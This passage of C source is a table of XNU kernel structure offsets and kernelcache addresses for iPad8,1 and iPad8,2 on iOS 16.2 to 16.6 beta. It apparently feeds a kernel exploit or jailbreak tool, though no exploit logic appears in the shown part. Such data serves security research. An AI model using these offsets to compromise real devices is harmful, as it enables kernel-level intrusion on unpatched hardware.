.pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a389288,\n        .kernelcache__gPhysBase = 0xfffffff0079340e0,\n        .kernelcache__gPhysSize = 0xfffffff0079340e0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0079322b8,\n        .kernelcache__perfmon_devices = 0xfffffff00a3c7500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007eedc8c,\n        .kernelcache__ptov_table = 0xfffffff0078e7160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3c6990,\n        .kernelcache__vm_pages = 0xfffffff0078e3ea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3c6988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3cad8,\n    },\n\n    //16.6b1\n        {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPad8,1\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a419ab0,\n        .kernelcache__gPhysBase = 0xfffffff007944288,\n        .kernelcache__gPhysSize = 0xfffffff007944288 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007942440,\n        .kernelcache__perfmon_devices = 0xfffffff00a459530,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f0a434,\n        .kernelcache__ptov_table = 0xfffffff0078f79a0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a458910,\n        .kernelcache__vm_pages = 0xfffffff0078f40f8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078f6950,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a458908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f58c44,\n    },\n\n// iPad8,2 16.2\n{\n        .kern_version = \"Darwin Kernel Version 22.1.0: Thu Oct  6 19:33:53 PDT 2022; root:xnu-8792.42.7~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20C65\",\n        .device_id = \"iPad8,2\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x530,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2a9150,\n        .kernelcache__gPhysBase = 0xfffffff00784f9d8,\n        .kernelcache__gPhysSize = 0xfffffff00784f9d8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00784dbc0,\n        .kernelcache__perfmon_devices = 0xfffffff00a2e4300,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec279c,\n        .kernelcache__ptov_table = 0xfffffff007803890,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2e3780,\n        .kernelcache__vm_pages = 0xfffffff0078006c8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007802850,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2e3778,\n        .kernelcache__vn_kqfilter = 0xfffffff007f14d00,\n    },\n\n    //16.3\n       {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D47\",\n        .device_id = \"iPad8,2\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2b9178,\n        .kernelcache__gPhysBase = 0xfffffff007853d48,\n        .kernelcache__gPhysSize = 0xfffffff007853d48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007851f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a2f4380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec7398,\n        .kernelcache__ptov_table = 0xfffffff007807288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2f3800,\n        .kernelcache__vm_pages = 0xfffffff0078040c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2f37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f19a20,\n    },\n\n    //16.3.1\n       {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D67\",\n        .device_id = \"iPad8,2\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2b9178,\n        .kernelcache__gPhysBase = 0xfffffff007853d48,\n        .kernelcache__gPhysSize = 0xfffffff007853d48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007851f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a2f4380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec7398,\n        .kernelcache__ptov_table = 0xfffffff007807288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2f3800,\n        .kernelcache__vm_pages = 0xfffffff0078040c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2f37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f19a20,\n    },\n\n    //16.4\n        {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E246\",\n        .device_id = \"iPad8,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381208,\n        .kernelcache__gPhysBase = 0xfffffff00792ffa0,\n        .kernelcache__gPhysSize = 0xfffffff00792ffa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e178,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bf500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee9a88,\n        .kernelcache__ptov_table = 0xfffffff0078e3160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3be990,\n        .kernelcache__vm_pages = 0xfffffff0078dfea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3be988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3863c,\n    },\n\n    //16.4.1\n        {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E252\",\n        .device_id = \"iPad8,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381208,\n        .kernelcache__gPhysBase = 0xfffffff00792ffa0,\n        .kernelcache__gPhysSize = 0xfffffff00792ffa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e178,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bf500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee9a88,\n        .kernelcache__ptov_table = 0xfffffff0078e3160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3be990,\n        .kernelcache__vm_pages = 0xfffffff0078dfea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3be988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3863c,\n    },\n\n    //16.5\n        {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20F66\",\n        .device_id = \"iPad8,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a389288,\n        .kernelcache__gPhysBase = 0xfffffff0079340e0,\n        .kernelcache__gPhysSize = 0xfffffff0079340e0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0079322b8,\n        .kernelcache__perfmon_devices = 0xfffffff00a3c7500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007eedc8c,\n        .kernelcache__ptov_table = 0xfffffff0078e7160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3c6990,\n        .kernelcache__vm_pages = 0xfffffff0078e3ea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3c6988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3cad8,\n    